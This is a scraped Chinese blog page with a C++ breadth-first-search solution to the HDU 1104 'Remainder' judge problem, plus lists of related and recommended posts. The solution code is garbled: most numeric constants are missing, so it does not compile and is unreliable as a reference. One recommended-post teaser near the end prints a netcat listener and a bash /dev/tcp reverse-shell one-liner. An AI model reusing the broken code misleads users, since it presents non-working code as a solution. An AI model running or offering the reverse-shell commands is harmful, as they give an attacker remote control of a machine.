hdu--1104--Remainder(简单的bfs)
Remainder
Time Limit: 6000/3000 MS (Java/Others) Memory Limit: 65536/32768 K (Java/Others)
Total Submission(s): 4078 Accepted Submission(s): 1014
You should know that if a = b * q + r (q > 0 and 0 <= r < q), then we have a % q = r.
The input is terminated with three 0s. This test case is not to be processed.
0 0 0
/*
Name: hdu--1104--Remainder
Copyright: ©2017 日天大帝
Author: 日天大帝
Date: 22/04/17 09:11
Description: bfs
a = b * q + r (q > 0 and 0 <= r < q),
题上的取余运算和%运算不一样,%运算能产生负值所以要 (n%k+k)%k这样,才等于题意的取余
这个题用vis标记产生过的数据,同时用%km和%k进行剪枝优化
*/
#include<cstring>
#include<iostream>
#include<queue>
#include<string>
using namespace std;
struct node{
int num,steps;
string str;
};
;
bool vis[MAX];
int n,m,k,mk,final_cmp;
void bfs(){
node start;
start.num = n;
start.str = "";
start.steps = ;
vis[(n%k+k)%k] = ;
queue<node> q;
q.push(start);
while(!q.empty()){
node a,temp = q.front();q.pop();
if(final_cmp == ((temp.num%k)+k)%k){
cout<<temp.steps<<endl<<temp.str<<endl;
return ;
}
; i<; ++i){
a = temp;
){
a.num += m;
a.str += '+';
}){
a.num -= m;
a.str += '-' ;
}){
a.num *= m;
a.str += '*';
}else{
a.num = (a.num%m+m)%m;
a.str += '%' ;
}
a.num %= mk;//%k之后%m结果就错啦,10%(15) !=10%3%5
if(vis[(a.num%k+k)%k])continue;//%k缩小范围剪枝
a.steps++;
vis[(a.num%k+k)%k] = ;
q.push(a);
}
}
cout<<"<<endl;
}
int main(){
ios::sync_with_stdio(false);
while(cin>>n>>k>>m,n||m||k){//输入有正负不能用n+m+k
memset(vis,,sizeof(vis));
mk = m*k;
final_cmp = ((n+)%k+k)%k;
bfs() ;
}
;
}
hdu--1104--Remainder(简单的bfs)的更多相关文章
- HDU 1104 Remainder (BFS)
题目地址:http://acm.hdu.edu.cn/showproblem.php?pid=1104 题意:给你一个n.m.k,有四种操作n+m,n-m,n*m,n%m,问你最少经过多少步,使得最后 ...
- HDU 1104 Remainder(BFS 同余定理)
题目链接 http://acm.hdu.edu.cn/showproblem.php?pid=1104 在做这道题目一定要对同余定理有足够的了解,所以对这道题目对同余定理进行总结 首先要明白计算机里的 ...
- hdu - 1104 Remainder (bfs + 数论)
http://acm.hdu.edu.cn/showproblem.php?pid=1104 注意这里定义的取模运算和计算机的%是不一样的,这里的取模只会得到非负数. 而%可以得到正数和负数. 所以需 ...
- HDU 1104 Remainder( BFS(广度优先搜索))
Remainder Time Limit: 6000/3000 MS (Java/Others) Memory Limit: 65536/32768 K (Java/Others) Total Sub ...
- HDU 1104 Remainder (BFS(广度优先搜索))
Remainder Time Limit: 6000/3000 MS (Java/Others) Memory Limit: 65536/32768 K (Java/Others) Total Sub ...
- HDU 1104 Remainder (BFS求最小步数 打印路径)
题目链接 题意 : 给你N,K,M,N可以+,- ,*,% M,然后变为新的N,问你最少几次操作能使(原来的N+1)%K与(新的N)%k相等.并输出相应的操作. 思路 : 首先要注意题中给的%,是要将 ...
- hdu.1104.Remainder(mod && ‘%’ 的区别 && 数论(k*m))
Remainder Time Limit: 6000/3000 MS (Java/Others) Memory Limit: 65536/32768 K (Java/Others) Total ...
- HDU 1104 Remainder
与前一题类似,也是BFS+记录路径, 但是有很多BUG点, 第一MOD操作与%不同i,其实我做的时候注意到了我们可以这样做(N%K+K)%K就可以化为正数,但是有一点要注意 N%K%M!=N%M%K; ...
- HDU 1253:胜利大逃亡(简单三维BFS)
pid=1253">胜利大逃亡 Time Limit: 4000/2000 MS (Java/Others) Memory Limit: 65536/32768 K (Java/ ...
- HDU 2717 Catch That Cow --- BFS
HDU 2717 题目大意:在x坐标上,农夫在n,牛在k.农夫每次可以移动到n-1, n+1, n*2的点.求最少到达k的步数. 思路:从起点开始,分别按x-1,x+1,2*x三个方向进行BFS,最先 ...
随机推荐
- RPM基础知识
RPM包命名原则 httpd-2.2.15-15.el6.centos.1.i686.rpm httpd 软件包名 2.2.15 软件版本 15 软件发布的次数 el ...
- spring注解一次 清除多个缓存
@Caching(evict = { @CacheEvict(value="cacheName",key="#info.id+'_baojia'",before ...
- for循环语句
for循环格式: for(表达式1:表达式2:表达式3) { 循环语句 } 1.首先计算表达式1的值. 2.再计算表达式2 的值,若值为真(非0) ...
- Linux之正则表达式
正则表达式与通配符的区别: 最常应用正则表达式的命令是grep(egrep),sed,awk. 正则表达式和通配符有本质区别,正则表达式用来找:[文件]内容,文本,字符串.一般只有三剑客支持.通配符用 ...
- 基于Dapper的分页实现,支持筛选,排序,结果集总数,非存储过程
简介 之前事先搜索了下博客园上关于Dapper分页的实现,有是有,但要么是基于存储过程,要么支持分页,而不支持排序,或者搜索条件不是那么容易维护. 代码 首先先上代码: https://github. ...
- Spring事务管理的两种方式
参考文档: http://www.iteye.com/topic/1123347 http://blog.csdn.net/lcj8/article/details/2835432 PS:好像还是tx ...
- Chrome浏览器扩展开发系列之十:桌面通知Notification
Desktop Notification也称为Web Notification,是在Web页面之外,以弹出桌面对话框的形式通知用户发生了某事件.Web Notification于2015.9.10成为 ...
- Linux下NC反弹shell命令
本机开启监听: nc -lvnp 4444nc -vvlp 4444 目标机器开启反弹 bash版本: bash -i >& /dev/tcp/ >& perl版本: pe ...
- Java虚拟机:内存模型详解
版权声明:本文为博主原创文章,转载请注明出处,欢迎交流学习! 我们都知道,当虚拟机执行Java代码的时候,首先要把字节码文件加载到内存,那么这些类的信息都存放在内存中的哪个区域呢?当我们创建一个对象实 ...
- java多线程系列(二)
对象变量的并发访问 前言:本系列将从零开始讲解java多线程相关的技术,内容参考于<java多线程核心技术>与<java并发编程实战>等相关资料,希望站在巨人的肩膀上,再通过我 ...